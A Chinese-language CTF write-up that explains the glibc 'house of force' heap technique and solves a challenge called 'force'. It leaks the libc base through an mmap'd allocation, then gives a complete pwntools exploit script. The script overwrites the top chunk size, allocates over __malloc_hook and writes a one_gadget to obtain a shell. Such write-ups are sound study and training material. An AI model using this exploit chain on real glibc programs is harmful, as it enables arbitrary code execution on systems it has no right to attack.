House of force能够使我们将堆申请到任意地址,满足以下条件,即可达到利用
能够改写top chunk的size域
能够自由控制堆分配大小
能够知道目标地址与top chunk地址之间的距离(可以泄露地址,计算出偏移)
详细见CTF-WIKIhttps://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
Force
我们以i春秋2020新春战役的force这题为例
首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,发现程序显示给我们堆地址,那么我们就不用泄露了。并且如果我们申请的堆较小,read可以溢出,如果在top chunk上方,就能修改top chunk的size。
现在关键是泄露libc地址。Show功能没有用,是一个忽悠。
泄露libc地址,其实也是从add函数里着手,既然程序显示给我们堆地址,那么**[如果我们申请的堆足够大,malloc就会使用mmap来分配内存,而mmap分配的内存靠近libc,与libc的偏移是固定的,那么,我们就能计算出libc地址。]{.mark}**
几个条件都达成了,那么,我们就能利用house of force将堆申请到malloc_hook,写malloc_hook即可。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
sh = remote('node3.buuoj.cn',26394) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') realloc_s = libc.sym['realloc'] malloc_hook_s = libc.symbols['__malloc_hook'] one_gadget = 0x4526a def create(size,content): sh.sendlineafter('2:puts','1') sh.sendlineafter('size',str(size)) sh.recvuntil('bin addr ') addr = int(sh.recvuntil('\n',drop = True),16) sh.sendafter('content',content) return addr
libc_base = create(0x200000,'a') + 0x200FF0 realloc_addr = libc_base + realloc_s malloc_hook_addr = libc_base + malloc_hook_s one_gadget_addr = libc_base + one_gadget print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr)
heap_addr = create(0x10,'\x00'*0x18 + p64(0xFFFFFFFFFFFFFFFF)) - 0x10 print 'heap_addr=',hex(heap_addr) top_chunk_addr = heap_addr + 0x20 print 'top_chunk_addr=',hex(top_chunk_addr)
offset = malloc_hook_addr - top_chunk_addr - 0x30 create(offset,'c')
create(0x10,p64(0) + p64(one_gadget_addr) + p64(realloc_addr + 4))
sh.sendlineafter('2:puts','1') sh.sendlineafter('size','1') sh.interactive()
|